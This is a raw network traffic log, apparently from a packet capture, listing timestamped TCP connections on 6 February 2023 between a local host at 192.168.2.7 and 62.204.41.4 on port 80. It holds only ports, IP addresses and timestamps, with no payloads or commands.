Feb 6, 2023 18:37:26.518759966 CET	50049	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.578819036 CET	80	50049	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.579031944 CET	50049	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.579535961 CET	50049	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.579632044 CET	80	50048	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.579706907 CET	50048	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.639807940 CET	80	50049	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.642302036 CET	80	50049	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.642533064 CET	50049	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.745661020 CET	50049	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.746490955 CET	50050	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.806022882 CET	80	50049	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.806493044 CET	50049	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.807976961 CET	80	50050	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.808140993 CET	50050	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.808862925 CET	50050	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.870434999 CET	80	50050	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.872878075 CET	80	50050	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:26.873071909 CET	50050	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.979554892 CET	50050	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:26.980422020 CET	50051	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.041285038 CET	80	50050	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.041378021 CET	50050	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.042632103 CET	80	50051	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.042757988 CET	50051	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.043304920 CET	50051	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.105540991 CET	80	50051	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.109849930 CET	80	50051	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.110229969 CET	50051	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.220767975 CET	50051	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.221997976 CET	50052	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.282622099 CET	80	50052	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.282780886 CET	50052	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.283164024 CET	50052	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.283410072 CET	80	50051	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.283519983 CET	50051	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.343599081 CET	80	50052	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.348197937 CET	80	50052	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.348294973 CET	50052	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.465195894 CET	50052	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.466167927 CET	50053	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.525914907 CET	80	50052	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.526062012 CET	50052	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.527687073 CET	80	50053	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.527837992 CET	50053	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.528345108 CET	50053	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.589709997 CET	80	50053	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.594378948 CET	80	50053	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.594465971 CET	50053	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.702292919 CET	50053	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.703011036 CET	50055	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.764151096 CET	80	50053	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.764322042 CET	50053	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.765619993 CET	80	50055	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.765784979 CET	50055	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.766284943 CET	50055	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.829035044 CET	80	50055	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.832042933 CET	80	50055	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:27.832165956 CET	50055	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.951996088 CET	50055	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:27.952852964 CET	50056	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.014123917 CET	80	50056	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.014231920 CET	50056	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.014668941 CET	80	50055	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.014709949 CET	50056	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.014738083 CET	50055	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.076056957 CET	80	50056	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.082096100 CET	80	50056	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.082174063 CET	50056	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.199457884 CET	50056	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.200114965 CET	50057	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.260987997 CET	80	50056	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.261145115 CET	50056	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.261966944 CET	80	50057	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.262100935 CET	50057	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.262419939 CET	50057	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.323826075 CET	80	50057	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.327377081 CET	80	50057	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.327495098 CET	50057	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.433043003 CET	50057	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.433689117 CET	50058	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.493839025 CET	80	50058	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.494551897 CET	80	50057	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.494748116 CET	50057	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.494785070 CET	50058	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.499164104 CET	50058	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.559528112 CET	80	50058	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.563302040 CET	80	50058	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.563481092 CET	50058	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.673809052 CET	50058	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.675221920 CET	50059	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.734221935 CET	80	50058	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.735838890 CET	80	50059	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.735994101 CET	50058	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.736028910 CET	50059	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.737025976 CET	50059	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.797633886 CET	80	50059	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.802062035 CET	80	50059	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.802270889 CET	50059	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.929364920 CET	50059	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.930145025 CET	50060	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.990286112 CET	80	50059	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.992342949 CET	80	50060	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:28.992350101 CET	50059	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.995245934 CET	50060	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:28.997104883 CET	50060	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.060527086 CET	80	50060	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.066272020 CET	80	50060	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.069065094 CET	50060	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.183856964 CET	50060	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.184629917 CET	50061	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.245676994 CET	80	50061	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.245816946 CET	50061	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.246155977 CET	50061	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.246328115 CET	80	50060	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.246418953 CET	50060	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.306963921 CET	80	50061	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.310091972 CET	80	50061	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.312036037 CET	50061	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.422207117 CET	50061	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.423887968 CET	50062	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.483256102 CET	80	50061	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.484467983 CET	50061	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.484770060 CET	80	50062	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.484879017 CET	50062	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.485224962 CET	50062	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.545943975 CET	80	50062	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.549381971 CET	80	50062	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.549541950 CET	50062	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.723119020 CET	50062	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.724071026 CET	50063	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.784167051 CET	80	50062	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.786007881 CET	80	50063	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.786128998 CET	50062	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.786144018 CET	50063	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.786602974 CET	50063	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.848054886 CET	80	50063	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.851991892 CET	80	50063	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:29.852108002 CET	50063	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.990089893 CET	50063	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:29.991046906 CET	50064	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.052139997 CET	80	50063	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:30.053338051 CET	80	50064	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:30.053406954 CET	50063	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.053500891 CET	50064	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.054049969 CET	50064	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.116381884 CET	80	50064	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:30.121550083 CET	80	50064	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:30.124227047 CET	50064	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.230732918 CET	50064	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.234410048 CET	50065	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.293137074 CET	80	50064	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:30.295866966 CET	80	50065	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:30.296063900 CET	50064	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.296140909 CET	50065	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.338042974 CET	50065	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.399529934 CET	80	50065	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:30.403852940 CET	80	50065	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:30.403989077 CET	50065	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.923196077 CET	50065	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.923926115 CET	50066	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.983517885 CET	80	50066	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:30.984045982 CET	50066	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.984589100 CET	80	50065	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:30.984780073 CET	50065	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:30.995908022 CET	50066	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:31.055510044 CET	80	50066	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:31.059571981 CET	80	50066	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:31.059688091 CET	50066	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:31.214994907 CET	50066	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:31.215643883 CET	50067	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:31.274642944 CET	80	50066	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:31.274748087 CET	50066	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:31.276036024 CET	80	50067	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:31.276177883 CET	50067	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:31.325633049 CET	50067	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:31.386295080 CET	80	50067	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:31.389426947 CET	80	50067	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:31.389590025 CET	50067	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:31.977792978 CET	50067	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:31.978636980 CET	50068	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.038548946 CET	80	50067	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:32.038717031 CET	50067	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.040014029 CET	80	50068	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:32.040131092 CET	50068	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.325881958 CET	50068	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.387587070 CET	80	50068	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:32.394088030 CET	80	50068	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:32.394222975 CET	50068	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.498296976 CET	50068	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.500072956 CET	50069	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.559880972 CET	80	50068	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:32.560010910 CET	50068	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.561440945 CET	80	50069	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:32.561568975 CET	50069	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.561893940 CET	50069	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.623476982 CET	80	50069	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:32.625941038 CET	80	50069	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:32.626007080 CET	50069	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.733890057 CET	50069	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.734663010 CET	50070	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.795205116 CET	80	50069	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:32.795383930 CET	50069	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.796214104 CET	80	50070	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:32.796336889 CET	50070	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.801482916 CET	50070	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.863181114 CET	80	50070	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:32.867610931 CET	80	50070	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:32.867753983 CET	50070	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.980539083 CET	50070	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:32.981734991 CET	50071	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.041318893 CET	80	50071	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.041438103 CET	50071	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.042257071 CET	80	50070	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.042377949 CET	50070	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.042572021 CET	50071	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.102197886 CET	80	50071	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.107430935 CET	80	50071	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.107628107 CET	50071	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.215109110 CET	50071	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.216110945 CET	50072	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.275222063 CET	80	50071	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.275435925 CET	50071	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.277878046 CET	80	50072	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.278017998 CET	50072	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.278393030 CET	50072	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.340325117 CET	80	50072	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.342987061 CET	80	50072	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.343132019 CET	50072	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.469125986 CET	50072	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.470015049 CET	50073	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.531130075 CET	80	50072	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.532355070 CET	50072	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.532618046 CET	80	50073	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.536413908 CET	50073	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.536848068 CET	50073	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.599390030 CET	80	50073	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.602340937 CET	80	50073	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.604435921 CET	50073	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.715429068 CET	50073	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.721470118 CET	50074	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.778263092 CET	80	50073	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.780635118 CET	50073	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.782289982 CET	80	50074	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.782496929 CET	50074	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.782820940 CET	50074	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.843414068 CET	80	50074	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.846342087 CET	80	50074	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:33.846564054 CET	50074	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.950201035 CET	50074	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:33.951370955 CET	50075	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.011364937 CET	80	50074	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.011686087 CET	80	50075	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.011941910 CET	50074	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.012001991 CET	50075	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.012824059 CET	50075	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.073396921 CET	80	50075	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.078227997 CET	80	50075	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.080476999 CET	50075	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.184241056 CET	50075	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.184847116 CET	50076	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.244595051 CET	80	50076	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.244802952 CET	80	50075	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.244869947 CET	50076	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.244957924 CET	50075	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.245536089 CET	50076	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.305182934 CET	80	50076	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.309325933 CET	80	50076	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.313549995 CET	50076	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.419295073 CET	50076	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.420180082 CET	50077	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.479893923 CET	80	50076	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.480053902 CET	50076	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.482418060 CET	80	50077	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.482569933 CET	50077	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.482978106 CET	50077	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.545505047 CET	80	50077	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.547892094 CET	80	50077	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.548054934 CET	50077	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.653062105 CET	50077	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.654195070 CET	50078	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.716048956 CET	80	50077	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.716094971 CET	80	50078	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.716154099 CET	50077	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.716418028 CET	50078	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.718344927 CET	50078	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.782244921 CET	80	50078	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.786504030 CET	80	50078	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.786760092 CET	50078	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.902757883 CET	50078	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.902864933 CET	50079	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.963414907 CET	80	50079	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.963659048 CET	50079	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.964653969 CET	80	50078	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:34.965140104 CET	50078	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:34.965163946 CET	50079	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.025444031 CET	80	50079	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.029045105 CET	80	50079	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.029226065 CET	50079	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.136936903 CET	50079	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.139740944 CET	50080	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.197443008 CET	80	50079	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.197545052 CET	50079	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.199531078 CET	80	50080	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.199666977 CET	50080	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.199980974 CET	50080	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.260658026 CET	80	50080	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.266577959 CET	80	50080	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.266668081 CET	50080	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.381650925 CET	50080	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.382325888 CET	50081	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.442049980 CET	80	50080	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.442192078 CET	50080	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.444793940 CET	80	50081	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.444911957 CET	50081	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.445260048 CET	50081	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.506886959 CET	80	50081	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.510221958 CET	80	50081	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.510334969 CET	50081	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.627574921 CET	50081	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.629290104 CET	50082	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.689654112 CET	80	50081	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.689779043 CET	50081	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.691828966 CET	80	50082	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.691946030 CET	50082	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.692289114 CET	50082	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.757100105 CET	80	50082	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.761848927 CET	80	50082	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.761987925 CET	50082	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.877840042 CET	50082	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.883477926 CET	50083	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.940691948 CET	80	50082	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.940783024 CET	50082	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.944376945 CET	80	50083	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:35.944468021 CET	50083	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:35.944830894 CET	50083	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.005314112 CET	80	50083	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.011137009 CET	80	50083	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.011254072 CET	50083	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.121320963 CET	50083	80	192.168.2.7	62.204.41.4
